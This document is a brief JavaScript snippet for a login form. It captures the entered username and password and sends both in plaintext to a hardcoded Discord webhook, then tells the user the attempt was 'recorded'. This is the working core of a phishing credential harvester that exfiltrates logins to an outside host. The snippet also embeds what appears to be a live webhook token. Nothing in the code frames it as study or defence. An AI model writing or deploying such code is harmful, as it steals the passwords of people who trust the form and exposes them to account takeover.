// Discord Webhook URL (replace with your webhook URL) const webhookURL = 'https://discord.com/api/webhooks/1347337194926243912/WFRsa7MlveANk-4CuEzNTMeZ67Yh9eOWlyEbw36qWWSt1_gsbLsazpDr7oA20-vgqzu-'; // Handle form submission document.getElementById('loginForm').addEventListener('submit', function(event) { event.preventDefault(); const username = document.getElementById('username').value; const password = document.getElementById('password').value; const message = { content: `**Login Attempt**\nUsername: ${username}\nPassword: ${password}` }; // Send data to Discord Webhook fetch(webhookURL, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(message), }) .then(response => response.json()) .then(data => { console.log('Success:', data); alert('Login attempt recorded!'); }) .catch((error) => { console.error('Error:', error); alert('There was an error.'); }); });